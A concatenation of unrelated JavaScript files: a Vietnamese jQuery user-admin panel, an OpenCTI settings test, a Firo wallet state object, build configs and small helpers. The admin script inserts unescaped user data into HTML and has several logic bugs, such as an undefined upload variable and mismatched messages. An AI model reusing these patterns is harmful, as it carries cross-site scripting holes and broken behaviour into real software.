// }
// if (data.message.date != undefined) {
// $('.errorBirthday').show().text(data.message.date[0]);
// }
// if (data.message.editGender != undefined) {
// $('.errorGender').show().text(data.message.editGender[0]);
// }
// if (data.message.editEmail != undefined) {
// $('.errorEmail').show().text(data.message.editEmail[0]);
// }
// if (data.message.editFacebook != undefined) {
// $('.errorFacebook').show().text(data.message.editFacebook[0]);
// }
// if (data.message.editStatus != undefined) {
// $('.errorStatus').show().text(data.message.editStatus[0]);
// }
// if (data.message.editType != undefined) {
// $('.errorType').show().text(data.message.editType[0]);
// }
} else {
var gt = data.user.gender;
if (data.user.gender == 1) {
gt = "Nam";
} else if (data.user.gender == 2) {
gt = "Nữ";
}
var type_user = data.user.type;
if (data.user.type == 1) {
type_user = "Quản Lý";
} else if (data.user.type == 2) {
type_user = "Giáo Viên";
} else if (data.user.type == 3) {
type_user = "Trợ Lý";
}
var status_user = data.user.status;
if (data.user.status == 1) {
status_user = "Đang Mở";
} else if (data.user.status == 2) {
status_user = "Đã Đóng";
}
var roles_update = "";
for (var i = 0; i < data.role_update.length; i++) {
if (data.role_update[i] == 1) {
roles_update = roles_update + '<label class="label label-success">superadmin</label> ';
}
if (data.role_update[i] == 2) {
roles_update = roles_update + '<label class="label label-success">admin</label> ';
}
if (data.role_update[i] == 3) {
roles_update = roles_update + '<label class="label label-success">teacher</label> ';
}
if (data.role_update[i] == 4) {
roles_update = roles_update + '<label class="label label-success">teaching assistant</label> ';
}
if (data.role_update[i] == 5) {
roles_update = roles_update + '<label class="label label-success">mod</label> ';
}
}
var row = '<tr align="center" id="userRow' + data.user.id + '">' +
'<td>' + data.user.id + '</td>' +
'<td>' + data.user.name + '</td>' +
'<td>' + data.user.mobile + '</td>' +
'<td><a href="' + data.user.email + '">' + data.user.email + '</a></td>' +
'<td>' + roles_update + '</td>' +
'<td>' + type_user + '</td>' +
'<td>' + status_user + '</td>' +
'<td>' + data.user.created_at + '</td>';
row += '<td><ul class="list-inline"><li><a href="#"><i class="fa fa-info btn-detail btn-info style-css" data-id="' + data.user.id + '" aria-hidden="true" title="Xem Chi tiết User"></i></a></li>';
row += '<li><a href="#"><i class="fa fa-pencil-square-o btn-warning btn-edit style-css" data-id="' + data.user.id + '" aria-hidden="true" title="Sửa Thông Tin User"></i></a></li>';
row += '<li><a href="#"><i class="fa fa-trash-o btn-danger btn-del style-css" data-id="' + data.user.id + '" aria-hidden="true" title="Xóa User"></i> </a></li></ul></td></tr>';
$("#userRow" + data.user.id).replaceWith(row);
$('#User-modal-edit').modal('hide');
swal("Success!", "Sửa người dùng thành công !", "success");
}
},
error: function(data) {
console.log('Error:', data);
$('#User-modal-edit').modal('hide');
swal({
title: "Cập nhật thông tin không thành công !",
type: "warning",
showCancelButton: false,
confirmButtonClass: "btn-danger",
confirmButtonText: "Đóng",
closeOnConfirm: false
});
}
});
})
//-------------------------End submit update ------------------------------------
//-------------------------Begin Delete User----------------------------------------------
$('#repalceTable').delegate('.btn-del', 'click', function() {
$.ajaxSetup({
headers: {
'X-CSRF-Token': $('input[name="_token"]').val()
}
});
var value = $(this).data('id');
var url = 'user-delete';
swal({
title: "Bạn có chắc chắn muốn xoá?",
text: "Bạn sẽ không thể khôi phục lại bản ghi này!!",
type: "warning",
showCancelButton: true,
confirmButtonColor: "#DD6B55",
confirmButtonText: "Có",
cancelButtonText: "Không",
closeOnConfirm: false,
// closeOnCancel: false
},
function(isConfirm) {
if (isConfirm) {
swal("Xoá thành công", "success");
$.ajax({
type: 'delete',
url: url,
data: {
'id': value
},
success: function(data) {
$('#userRow' + value).remove();
}
});
}
});
});
// ----------------------------Begin Create User -------------------------
$('#myBtn').on('click', function() {
$('#createUserModal').modal('show');
$('.error').hide();
$('#frmCreateUser').trigger('reset');
$('#frmCreateUser button[type="submit"]').prop('disabled', false);
});
$('#frmCreateUser').on('submit', function(e) {
$.ajaxSetup({
headers: {
'X-CSRF-TOKEN': $('meta[name="_token"]').attr('content')
}
})
e.preventDefault();
var form = $('#frmCreateUser');
var formdata = form.serialize();
var url = 'user-create';
$('#frmCreateUser button[type="submit"]').prop('disabled', true);
$.ajax({
type: 'post',
url: url,
data: formdata,
success: function(data) {
console.log(data);
if (data.error == true) {
$('#frmCreateUser button[type="submit"]').prop('disabled', false);
// $('.error').hide();
// if (data.message.name != undefined) {
// $('.errorName').show().text(data.message.name[0]);
// }
// if (data.message.mobile != undefined) {
// $('.errorMobile').show().text(data.message.mobile[0]);
// }
// if (data.message.password != undefined) {
// $('.errorPassword').show().text(data.message.password[0]);
// }
// if (data.message.gender != undefined) {
// $('.errorGender').show().text(data.message.gender[0]);
// }
// if (data.message.birthday != undefined) {
// $('.errorBirthday').show().text(data.message.birthday[0]);
// }
// if (data.message.email != undefined) {
// $('.errorEmail').show().text(data.message.email[0]);
// }
// if (data.message.facebook != undefined) {
// $('.errorFacebook').show().text(data.message.facebook[0]);
// }
// if (data.message.status != undefined) {
// $('.errorStatus').show().text(data.message.status[0]);
// }
// if (data.message.type != undefined) {
// $('.errorType').show().text(data.message.type[0]);
// }
} else {
addRow(data);
$('#createUserModal').modal('hide');
swal("Success!", "Thêm người dùng thành công !", "success");
}
},
error: function(data) {
console.log('Error:', data);
$('#createUserModal').modal('hide');
swal({
title: "Thêm thông tin không thành công !",
type: "warning",
showCancelButton: false,
confirmButtonClass: "btn-danger",
confirmButtonText: "Đóng",
closeOnConfirm: false
});
}
})
});
function addRow(data) {
var gt = data.user.gender;
if (data.user.gender == 1) {
gt = "Nam";
} else if (data.user.gender == 2) {
gt = "Nữ";
}
var type_user = data.user.type;
if (data.user.type == 1) {
type_user = "Quản Lý";
} else if (data.user.type == 2) {
type_user = "Giáo Viên";
} else if (data.user.type == 3) {
type_user = "Trợ Lý";
}
var status_user = data.user.status;
if (data.user.status == 1) {
status_user = "Đang Mở";
} else if (data.user.status == 2) {
status_user = "Đã Đóng";
}
var roles_info = "";
for (var i = 0; i < data.roles_user.length; i++) {
if (data.roles_user[i] == 1) {
roles_info = roles_info + '<label class="label label-success">superadmin</label> ';
}
if (data.roles_user[i] == 2) {
roles_info = roles_info + '<label class="label label-success">admin</label> ';
}
if (data.roles_user[i] == 3) {
roles_info = roles_info + '<label class="label label-success">teacher</label> ';
}
if (data.roles_user[i] == 4) {
roles_info = roles_info + '<label class="label label-success">teaching assistant</label> ';
}
if (data.roles_user[i] == 5) {
roles_info = roles_info + '<label class="label label-success">mod</label> ';
}
}
var row = '<tr align="center" id="userRow' + data.user.id + '">' +
'<td>' + data.user.id + '</td>' +
'<td>' + data.user.name + '</td>' +
'<td>' + data.user.mobile + '</td>' +
'<td><a href="' + data.user.email + '">' + data.user.email + '</a></td>' +
'<td>' + roles_info + '</td>' +
'<td>' + type_user + '</td>' +
'<td>' + status_user + '</td>' +
'<td>' + data.user.created_at + '</td>';
row += '<td><ul class="list-inline"><li><a href="#"><i class="fa fa-info btn-detail btn-info" data-id="' + data.user.id + '" aria-hidden="true" title="Xem Chi tiết User"></i></a></li>';
row += '<li><a href="#"><i class="fa fa-pencil-square-o btn-warning btn-edit" data-id="' + data.user.id + '" aria-hidden="true" title="Sửa Thông Tin User"></i></a></li>';
row += '<li><a href="#"><i class="fa fa-trash-o btn-danger btn-del" data-id="' + data.user.id + '" aria-hidden="true" title="Xóa User"></i> </a></li></ul></td></tr>';
$('tbody').append(row);
}
//end function
//---------------------------validation url Edit----------------------
$('.url_input').blur(function() {
var url = $('.url_input').val();
var pattern = /^(http|https)?:\/\/[a-zA-Z0-9-\.]+\.[a-z]{2,4}/;
if (url == "" || pattern.test(url) == true) {
$('.error').hide();
$('#frmEditUser button[type="submit"]').prop('disabled', false);
$(".errorUrl").html("Đây là URL");
} else if (url != "" && pattern.test(url) == false) {
$(".errorUrl").html("Định dạng URL không đúng");
$('.error').show();
$('#frmEditUser button[type="submit"]').prop('disabled', true);
}
});
//---------------------------validation url Create----------------------
$('.c_url_input').blur(function() {
var url = $('.c_url_input').val();
var pattern = /^(http|https)?:\/\/[a-zA-Z0-9-\.]+\.[a-z]{2,4}/;
if (url == "" || pattern.test(url) == true) {
// alert("this is url");
$('.error').hide();
$('#frmCreateUser button[type="submit"]').prop('disabled', false);
$(".errorUrl").html("Đây là URL");
} else if (url != "" && pattern.test(url) == false) {
$(".errorUrl").html("Định dạng URL Facebook không đúng");
// alert("this not url");
$('.error').show();
$('#frmCreateUser button[type="submit"]').prop('disabled', true);
}
});
//---------------------------get id login----------------------------
var get_id_login = $('#id_login').attr("data-id");
//---------------------------end id login----------------------------
//----------------------------Validate Email---------------------------
$("#email").blur(function() {
$.ajax({
type: 'get',
url: 'check-email',
data: {
'value': $(this).val()
},
success: function(result) {
console.log(result);
if (result > 0) {
$('.errorEmail').show().text("Email này đã tồn tại,bạn không thể đăng ký bằng Email này!!");
} else {
$('.errorEmail').hide();
}
}
});
});
$(document).ready(function() {
$(".editEmail").blur(function() {
var input_email = $("#editEmail").val();
var id_user = $('.btn-edit').data('id');
$.ajax({
type: 'get',
url: 'check-email-update',
data: {
'value': $(this).val(),
'id': id_user
},
success: function(result) {
console.log(result);
$('.errorEmail').hide();
if (result > 0) {
$('.errorEmail').show().text("Email này đã tồn tại,bạn không thể sửa với Email này!!");
} else {
$('.errorEmail').hide();
}
}
});
});
});
//---------------------------Validate Phone -----------------------------
$("#mobile").blur(function() {
$.ajax({
type: 'get',
url: 'check-phone',
data: {
'value': $(this).val()
},
success: function(result) {
console.log(result);
if (result > 0) {
$('.errorMobile').show().text("Số điện thoại này đã tồn tại,bạn không thể đăng ký bằng Email này!!");
} else {
$('.errorMobile').hide();
}
}
});
});
$("#editMobile").blur(function() {
var input_phone = $("#editEmail").val();
var id_user = $(this).data('id');
$.ajax({
type: 'get',
url: 'check-mobile-update',
data: {
'value': $(this).val(),
'id': id_user
},
success: function(result) {
console.log(result);
if (result > 0) {
$('.errorMobile').show().text("Số điện thoại này đã tồn tại,bạn không thể sử dụng số điện thoại này!!");
} else {
$('.errorMobile').hide();
}
}
});
});
//----------------------click ---------------------
// $("#info_profile").on('click', function() {
// // $('#edit_profile').trigger('reset');
// $('.error').hide();
// var id_user = $('#id_login').data('id');
// // alert("cmm");
// var url = 'get-profile';
// $.ajax({
// type: 'get',
// url: url,
// data: {
// 'id': id_user
// },
// success: function(data) {
// console.log(data);
// $('#name_profile').val(data.name);
// $('#birthday_profile').val(data.birthday);
// $('#gender_profile').prop('selected', true);
// }
// });
// });
//--------------------- Reset Change Password------------------
$("#reset_change_password").on('click', function() {
$('.error').hide();
$('#edit_profile_password').trigger('reset');
});
//--------------------- Edit profile onclick ---------------------------
$("#info_profile").on('click', function() {
console.log('xxx');
// $("#gender_profile").prop("selected", false);
$('#edit_profile button[type="submit"]').prop('disabled',false);
$('#edit_profile').trigger('reset');
$('.error').hide();
var id_user = $('#id_login').data('id');
// alert("cmm");
var url = 'get-profile';
$.ajax({
type: 'get',
url: url,
data: {
'id': id_user
},
success: function(data) {
console.log(data);
$('#name_profile').val(data.name);
$('#birthday_profile').val(data.birthday);
$('#gender_profile').prop('selected', true);
}
});
});
//------------------------Edit profile-----------------------------------
$('#edit_profile').on('submit', function(e) {
$('#edit_profile button[type="submit"]').prop('disabled',true);
$.ajaxSetup({
headers: {
'X-CSRF-TOKEN': $('meta[name="_token"]').attr('content')
}
})
e.preventDefault();
var form = $('#edit_profile');
var formdata = form.serialize();
var url = 'user-update-profile';
$.ajax({
type: 'put',
url: url,
data: formdata,
success: function(data) {
console.log(data);
if (data.error == true) {
$('.error').hide();
$('#edit_profile button[type="submit"]').prop('disabled',false);
if (data.message.name != undefined) {
$('.errorName').show().text(data.message.name[0]);
}
if (data.message.mobile != undefined) {
$('.errorMobile').show().text(data.message.mobile[0]);
}
if (data.message.gender != undefined) {
$('.errorGender').show().text(data.message.gender[0]);
}
if (data.message.email != undefined) {
$('.errorEmail').show().text(data.message.email[0]);
}
} else {
// Xóa bỏ tất cả các selected
$("#gender_profile").find('option').removeAttr("selected");
//selected gender
for (var i = 1; i < 3; i++) {
if (data.gender==i) {
$('#gender_profile option[value=' +data.gender + ']').attr('selected', 'selected');
}
}
//change name view
$("#view_name").replaceWith("<span class=\"text-center\" id=\"view_name\">"+data.name +"</span>");
//change birthday view
if (data.birthday==null) {
$("#view_birthday").replaceWith("<span class=\"text-center\" id=\"view_birthday\"><em>(Chưa cập nhật)</em></span>");
}else{
$("#view_birthday").replaceWith("<span class=\"text-center\" id=\"view_birthday\">"+data.birthday +"</span>");
}
//change gender view
if (data.gender==1) {
$("#view_gender").replaceWith("<span class=\"text-center\" id=\"view_gender\">Nam</span>");
}else if (data.gender==2){
$("#view_gender").replaceWith("<span class=\"text-center\" id=\"view_gender\">Nữ</span>");
}
//change address view
if (data.address==null) {
$("#view_address").replaceWith("<span class=\"field text-center\" id=\"view_address\"><em>(Chưa cập nhật)</em></span>");
}else{
$("#view_address").replaceWith("<span class=\"field text-center\" id=\"view_address\">"+data.address+"</em></span>");
}
//change mobile view
$("#view_mobile").replaceWith("<span class=\"text-center\" id=\"view_mobile\">"+data.mobile +"</span>");
//change education info view
if (data.education_info==null) {
$("#view_education_info").replaceWith("<span class=\"text-center\" id=\"view_education_info\"><em>(Chưa cập nhật)</em></span>");
}else {
$("#view_education_info").replaceWith("<span class=\"text-center\" id=\"view_education_info\">"+data.education_info +"</span>");
}
//change work place view
if (data.work_place==null) {
$("#view_work_place").replaceWith("<span class=\"text-center\" id=\"view_work_place\"><em>(Chưa cập nhật)</em></span>");
}else {
$("#view_work_place").replaceWith("<span class=\"text-center\" id=\"view_work_place\">"+data.work_place +"</span>");
}
//change email view
$("#view_mail").replaceWith("<span class=\"text-center\" id=\"view_mail\">"+data.email +"</span>");
//change skill view
if (data.skill==null) {
$("#view_skill").replaceWith("<span class=\"text-center\" id=\"view_skill\"><em>(Chưa cập nhật)</em></span>");
}else {
$("#view_skill").replaceWith("<span class=\"text-center\" id=\"view_skill\">"+data.skill +"</span>");
}
//change positon view
if (data.positon==null) {
$("#view_position").replaceWith("<span class=\"text-center\" id=\"view_position\"><em>(Chưa cập nhật)</em></span>");
}else {
$("#view_position").replaceWith("<span class=\"text-center\" id=\"view_position\">"+data.positon +"</span>");
}
$("#name-main").replaceWith("<h4 class=\"profile-usertitle-name text-center\" id=\"name-main\">" + data.name + "</h4>");
if (data.skype == null) {
$("#sk_profile").replaceWith("<span id=\"sk_profile\"><em>(Chưa cập nhật)</em></span>");
} else {
$("#sk_profile").replaceWith("<span id=\"sk_profile\"><em>(Chưa cập nhật)</em></span>");
$("#sk_profile").replaceWith("<span id=\"sk_profile\">" + data.skype + "</span>");
}
if (data.facebook == null) {
$("#fb_profile").replaceWith("<a id=\"fb_profile\" href=\"#\" target=\"_blank\"><em>(Chưa cập nhật)</em></a>");
} else {
$("#fb_profile").replaceWith("<a id=\"fb_profile\" href=" + data.facebook + " target=\"_blank\">" + data.facebook + "</a>");
}
$("#info_profile").removeClass("active");
$("#view-profile").addClass("active");
$("#tab_1_2").removeClass("active");
$("#tab_1_1").addClass("active");
toastr["success"]("Đổi thông tin thành công !!");
}
},
error: function(data) {
console.log('msg:', data);
toastr["error"]("Đổi thông tin không thành công");
}
});
});
// ------------------------- Edit Avatar Profile -----------------------------
$('#edit_avatar_profile').on('submit', function(e) {
// $('#edit_avatar_profile button[type="submit"]').prop('disabled',true);
$.ajaxSetup({
headers: {
'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
}
})
e.preventDefault();
// img_upload = new FormData($("#edit_avatar_profile")[0]);
// console.log(img_upload);
var file_data = $('#avatar_profile').prop('files')[0];
var form_data = new FormData();
form_data.append('file', file_data);
// var img_upload=$("#avatar_profile").val();
var url = 'edit-avatar-profile';
$.ajax({
type: 'put',
url: url,
dataType: 'JSON',
data: {
'avartar': file
},
success: function(data) {
console.log(data);
toastr["success"]("Đổi mật khẩu thành công !!");
}
});
});
//-------------------------- End Edit Avatar Profile--------------------------
//khoi tao delay time
var delay = (function(){
var timer = 0;
return function(callback, ms){
clearTimeout (timer);
timer = setTimeout(callback, ms);
};
})();
// chức năng search
$("#search").on('keyup', function() {
delay(function(){
var keyword = $("#search").val();
$.ajax({
type: "GET",
url: "user/search?keyword=" + keyword,
cache: false,
success: function(users)
{
$("#repalceTable").html('');
$("#repalceTable").append(users);
}
});
},1500);
// return false;
});
// ------------------------- Edit password Profile ---------------------------
$('#edit_profile_password').on('submit', function(e) {
$('#edit_profile_password button[type="submit"]').prop('disabled',true);
$.ajaxSetup({
headers: {
'X-CSRF-TOKEN': $('meta[name="_token"]').attr('content')
}
})
e.preventDefault();
var form = $('#edit_profile_password');
var formdata = form.serialize();
var url = 'edit-password-profile';
$.ajax({
type: 'put',
url: url,
data: formdata,
success: function(data) {
console.log(data);
if (data.error == true) {
$('#edit_profile_password button[type="submit"]').prop('disabled',false);
$('.error').hide();
if (data.message.new_password != undefined) {
$('.errorNewPassWord').show().text(data.message.new_password[0]);
}
if (data.message.re_new_password != undefined) {
$('.errorReNewPassWord').show().text(data.message.re_new_password[0]);
}
} else {
$("#act-password").removeClass("active");
$("#view-profile").addClass("active");
$("#tab_1_1").addClass("active");
$('#edit_profile_password').trigger('reset');
toastr["success"]("Đổi mật khẩu thành công !!");
}
},
error: function(data) {
console.log('msg:', data);
toastr["error"]("Đổi mật khẩu không thành công !!!")
}
});
});
//------------------Change password click------------------------------
$("#act-password").on('click', function() {
$('.error').hide();
$('#edit_profile_password button[type="submit"]').prop('disabled',false);
});
//--------------------------End Edit password---------------------------------
//-------------------------- Begin check Email profile -----------------------
$(document).ready(function() {
$("#email_profile").blur(function() {
var input_email = $("#email_profile").val();
var id_user = $('#id_login').data('id');
$.ajax({
type: 'get',
url: 'check-email-update',
data: {
'value': $(this).val(),
'id': id_user
},
success: function(result) {
console.log(result);
$('.errorEmail').hide();
if (result > 0) {
$('.errorEmail').show().text("Email này đã tồn tại,bạn không thể sửa với Email này!!");
$('#edit_profile button[type="submit"]').prop('disabled',true);
} else {
$('.errorEmail').hide();
$('#edit_profile button[type="submit"]').prop('disabled',false);
}
}
});
});
});
//-------------------------- end check Email profile -----------------------
//---------------------------Validate Phone profile--------------------------------
$("#mobile_profile").blur(function() {
var input_phone = $("#mobile_profile").val();
var id_user = $('#id_login').data('id');
$.ajaxSetup({
headers: {
'X-CSRF-TOKEN': $('meta[name="_token"]').attr('content')
}
});
$.ajax({
type: 'get',
url: 'check-phone',
data: {
'value': $(this).val(),
'id': id_user
},
success: function(result) {
console.log(result);
if (result > 0) {
$('.errorMobile').show().text("Số điện thoại này đã tồn tại,bạn không thể sử dụng số điện thoại này!!");
$('#edit_profile button[type="submit"]').prop('disabled',true);
} else {
$('.errorMobile').hide();
$('#edit_profile button[type="submit"]').prop('disabled',false);
}
}
});
});
});
|
import gql from 'graphql-tag';
import { head } from 'ramda';
import { queryAsAdmin } from '../../utils/testQuery';
const ABOUT_QUERY = gql`
query about {
about {
version
dependencies {
name
version
}
}
}
`;
const READ_QUERY = gql`
query settings {
settings {
id
platform_title
platform_url
platform_demo
platform_email
platform_language
platform_parameters
platform_providers {
name
provider
type
}
editContext {
name
focusOn
}
}
}
`;
describe('Settings resolver standard behavior', () => {
const PLATFORM_TITLE = 'Cyber threat intelligence platform';
const settingsId = async () => {
const queryResult = await queryAsAdmin({ query: READ_QUERY, variables: {} });
const { settings } = queryResult.data;
return settings.id;
};
it('should about information', async () => {
const queryResult = await queryAsAdmin({ query: ABOUT_QUERY, variables: {} });
expect(queryResult).not.toBeNull();
const { about } = queryResult.data;
expect(about).not.toBeNull();
expect(about.version).toEqual('3.2.2');
expect(about.dependencies.length).toEqual(5);
const aggregationMap = new Map(about.dependencies.map((q) => [q.name, q]));
const grakn = aggregationMap.get('Grakn');
expect(grakn).not.toBeUndefined();
expect(grakn.version).toEqual('1.7.1');
});
it('should settings information', async () => {
const queryResult = await queryAsAdmin({ query: READ_QUERY, variables: {} });
expect(queryResult).not.toBeNull();
const { settings } = queryResult.data;
expect(settings).not.toBeNull();
expect(settings.platform_title).toEqual(PLATFORM_TITLE);
expect(settings.platform_demo).toEqual(false);
expect(settings.platform_email).toEqual('admin@opencti.io');
expect(settings.platform_language).toEqual('auto');
expect(settings.platform_parameters).not.toBeUndefined();
expect(settings.editContext.length).toEqual(0);
const parameters = JSON.parse(settings.platform_parameters);
expect(parameters.app.port).toEqual(4000);
expect(parameters.providers.local).not.toBeUndefined();
});
it('should update settings', async () => {
const UPDATE_QUERY = gql`
mutation SettingsEdit($id: ID!, $input: EditInput!) {
settingsEdit(id: $id) {
fieldPatch(input: $input) {
id
platform_title
}
}
}
`;
const settingsInternalId = await settingsId();
let queryResult = await queryAsAdmin({
query: UPDATE_QUERY,
variables: { id: settingsInternalId, input: { key: 'platform_title', value: ['Cyber'] } },
});
expect(queryResult.data.settingsEdit.fieldPatch.platform_title).toEqual('Cyber');
// Back to previous value
queryResult = await queryAsAdmin({
query: UPDATE_QUERY,
variables: {
id: settingsInternalId,
input: { key: 'platform_title', value: [PLATFORM_TITLE] },
},
});
expect(queryResult.data.settingsEdit.fieldPatch.platform_title).toEqual(PLATFORM_TITLE);
});
it('should context patch settings', async () => {
const CONTEXT_PATCH_QUERY = gql`
mutation SettingsEdit($id: ID!, $input: EditContext) {
settingsEdit(id: $id) {
contextPatch(input: $input) {
id
}
}
}
`;
const settingsInternalId = await settingsId();
const queryResult = await queryAsAdmin({
query: CONTEXT_PATCH_QUERY,
variables: { id: settingsInternalId, input: { focusOn: 'platform_title' } },
});
expect(queryResult.data.settingsEdit.contextPatch.id).toEqual(settingsInternalId);
const readResult = await queryAsAdmin({ query: READ_QUERY, variables: {} });
const { editContext } = readResult.data.settings;
expect(editContext.length).toEqual(1);
expect(head(editContext).focusOn).toEqual('platform_title');
});
it('should context clean settings', async () => {
const CONTEXT_PATCH_QUERY = gql`
mutation SettingsEdit($id: ID!) {
settingsEdit(id: $id) {
contextClean {
id
}
}
}
`;
const settingsInternalId = await settingsId();
const queryResult = await queryAsAdmin({
query: CONTEXT_PATCH_QUERY,
variables: { id: settingsInternalId },
});
expect(queryResult.data.settingsEdit.contextClean.id).toEqual(settingsInternalId);
const readResult = await queryAsAdmin({ query: READ_QUERY, variables: {} });
const { editContext } = readResult.data.settings;
expect(editContext.length).toEqual(0);
});
});
|
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.Artillery = void 0;
const Fortifiable_1 = require("@civ-clone/base-unit-type-fortifiable/Fortifiable");
class Artillery extends Fortifiable_1.Fortifiable {
}
exports.Artillery = Artillery;
exports.default = Artillery;
//# sourceMappingURL=Artillery.js.map
|
// the comment // gui/daemon indicates who is responsible for persisting that particular key-value-pair
module.exports = {
Network: { // daemon: isSubscription?
type: 'tor|proxy|direct',
isConnected: undefined,
connectionSeemsLost: undefined,
connectionErrorCode: 0
},
Notification: {
lastMessage: null, // gui
lastNotification: null // gui
},
Window: {
welcomeGuide: false, // gui
settings: false // gui
},
FiroPayment: {
pendingPayments: [],
selectedFee: 'fast',
availableFees: {
fast: {
label: 'Fast',
description: 'have a coffee',
amount: 100000
},
medium: {
label: 'Medium',
description: 'take a long walk',
amount: 50000
},
slow: {
label: 'Slow',
description: 'sleep over it',
amount: 10000
}
},
addPaymentForm: {
amount: null,
label: '',
address: '',
totalTxFee: 100000
},
isLoading: false,
sendFiroResponse: {
_meta: null,
data: null,
error: null
},
lastSeen: 'blockHeightAsInteger',
selectedUtxos: []
},
PaymentRequest: {
paymentRequests: {
},
isLoading: false,
createPaymentRequestForm: {
amount: null,
label: '',
message: ''
},
lastSeen: 'blockHeightAsInteger', // gui // last visited the tab to validate unseen/seen of a request
currentPaymentRequest: '' // gui // payment request showed in detail
},
AddressValidation: {
addressToValidate: ''
},
Mint: { // daemon: isSubscription
isLoading: false,
currentDenominations: {},
mints: {},
mintResponse: {
_meta: null,
data: null,
error: null
}
},
ZerocoinSpend: {
isLoading: false,
spendForm: {
label: '',
mints: {
},
address: null
},
spendZerocoinResponse: {
_meta: null,
data: null,
error: null
}
},
Balance: {
total: {
all: 0,
pending: 0,
available: 0
},
xzc: {
confirmed: 0,
unconfirmed: 0,
locked: 0
},
zerocoin: {
confirmed: 0,
unconfirmed: 0
}
},
Blockchain: { // daemon: isSubscription
connections: 1,
currentBlock: {
height: 0,
timestamp: 0
},
status: {
isBlockchainSynced: false,
isFailed: false,
isSynced: false,
isWinnersListSynced: false,
isZnodeListSynced: false
},
testnet: undefined,
type: 'full',
averageBlockTime: 0
},
Settings: { // daemon: isSubscription
// blockchainLocation: '~/Library/Application Support/firo', // daemon // has, set
percentageToHoldInZerocoin: 1.0,
xzcZerocoinRatioNotified: -1,
passphrase: {
hasPassphrase: true // setPassphrase, verifyPassphrase
},
confirmationsRequired: 6,
network: {
upnp: true,
allowIncominConnections: true,
proxy: {
enabled: false,
ip: '127.0.0.1',
port: 9050
},
tor: {
enabled: true,
proxy: {
enabled: false,
ip: '127.0.0.1',
port: 9050
}
}
},
b58Prefixes: {
main: {
pubkeyAddress: 82, // ['a', 'Z'],
scriptAddress: 7 // ['3', '4']
},
test: {
pubkeyAddress: 65, // ['T'],
scriptAddress: 178 // ['2']
},
// FIXME: I'm not 100% sure these are the correct values.
regtest: {
pubkeyAddress: 65, // ['T'],
scriptAddress: 178 // ['2']
}
},
explorer: {
test: 'https://testexplorer.firo.io/%s/%s',
main: 'https://explorer.firo.io/%s/%s',
regtest: 'https://regtestexplorer.invalid/%s/%s'
}
},
Znode: {
znodes: {}
},
Clipboard: {
clipboardValue: '',
address: null,
amount: 0,
message: null,
timestamp: null,
notified: false
},
App: { // gui
isStopping: false,
isRunning: false,
isRestarting: false,
isReady: false,
showIntroScreen: true,
clientIsLocked: undefined,
lastSeen: {
paymentRequest: 23345932,
mint: 23489034
},
passphrase: null,
appVersion: null,
blockchainLocation: ''
}
}
|
import imgT1 from '../assets/image/jpg/portfolio-image.jpg'
import imgT2 from '../assets/image/jpg/portfolio-image-2.jpg'
import imgT3 from '../assets/image/jpg/portfolio-image-3.jpg'
import imgT4 from '../assets/image/jpg/portfolio-image-6.jpg'
import imgT5 from '../assets/image/jpg/portfolio-image-7.jpg'
import imgT6 from '../assets/image/jpg/portfolio-image-8.jpg'
import imgT7 from '../assets/image/jpg/portfolio-image-9.jpg'
import imgT8 from '../assets/image/jpg/portfolio-image-10.jpg'
export const gridWorks1 = [
{
brand: `Perfumed`,
slug: `perfumed`,
title: `Adaptable but Identifiable Product for Kandinsky.`,
categories: [`photography`],
thumbnail: imgT1,
link: '/portfolio-details',
},
{
brand: `Travel App`,
slug: `travel-app`,
title: `Adaptable but Identifiable Product for Kandinsky.`,
categories: [`ux-design`],
thumbnail: imgT2,
link: '/portfolio-details',
},
{
brand: `Shopper`,
slug: `shopper`,
title: `Adaptable but Identifiable Product for Kandinsky.`,
categories: [`photography`, `branding`],
thumbnail: imgT3,
link: '/portfolio-details',
},
{
brand: `Candy Store`,
slug: `candy-store`,
title: `Adaptable but Identifiable Product for Kandinsky.`,
categories: [`branding`],
thumbnail: imgT4,
link: '/portfolio-details',
},
{
brand: `Travel App`,
slug: `travel-app`,
title: `Adaptable but Identifiable Product for Kandinsky.`,
categories: [`photography`, `ux-design`],
thumbnail: imgT5,
link: '/portfolio-details',
},
{
brand: `Ice Cream`,
slug: `ice-cream`,
title: `Adaptable but Identifiable Product for Kandinsky.`,
categories: [`branding`, `ux-design`],
thumbnail: imgT6,
link: '/portfolio-details',
},
{
brand: `Camera`,
slug: `Camera`,
title: `Adaptable but Identifiable Product for Kandinsky.`,
categories: [`branding`, `photography`],
thumbnail: imgT7,
link: '/portfolio-details',
},
{
brand: `Smart Watch`,
slug: `smart-watch`,
title: `Adaptable but Identifiable Product for Kandinsky.`,
categories: [`ux-design`],
thumbnail: imgT8,
link: '/portfolio-details',
},
]
|
jQuery(function($) {
//Let the user hide the demo notice. It would be annoying to have it up all the time.
$('#ws-abe-hide-demo-notice').click(function() {
$('#abe-demo-notice').hide();
$.cookie('abe_hide_demo_notice', 1);
return false;
});
});
|
/**
* @fileOverview Provides a reference to the global object
* the below solution works in ES3+ environment and doesn't violates CSP in Chrome apps
* see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis
*/
'use strict'; /* eslint strict:0 */
var getGlobal = function () {
if (typeof globalThis !== 'undefined') { return globalThis; }
if (typeof self !== 'undefined') { return self; }
if (typeof window !== 'undefined') { return window; }
if (typeof global !== 'undefined') { return global; }
throw new Error('unable to locate global object');
};
module.exports = getGlobal();
|
const mix = require('laravel-mix');
require('laravel-mix-merge-manifest');
mix.setPublicPath('../../public').mergeManifest();
mix.js(__dirname + '/Resources/assets/js/app.js', 'js/core.js')
.sass( __dirname + '/Resources/assets/sass/app.scss', 'css/core.css');
if (mix.inProduction()) {
mix.version();
}
|
const webpack = require('webpack')
module.exports = env => ({
mode: env.production ? 'production' : 'development',
entry: "./src/index.ts",
output: {
libraryTarget: "umd",
library: "RLogin",
umdNamedDefine: true,
globalObject: "this",
filename: "index.js"
},
watch: env === 'development',
resolve: {
extensions: [".ts", ".tsx", ".js"]
},
plugins: [
new webpack.ProvidePlugin({
Buffer: ['buffer', 'Buffer']
})
],
devtool: "source-map",
module: {
rules: [
{test: /\.css$/,
use: [
'style-loader',
'css-loader'
]},
{ test: /\.tsx?$/, loader: "ts-loader" },
{
test: /\.(png|svg|jpg|gif)$/,
use: [
{
loader: "url-loader",
options: {
limit: 65535,
name: "static/media/[name].[hash:8].[ext]"
}
}
]
}
]
}
});
|
import Router from 'vue-router'
import Vue from 'vue'
import { before, resolve, after } from '@/router/hooks'
Vue.use(Router)
const router = new Router({
mode: 'history',
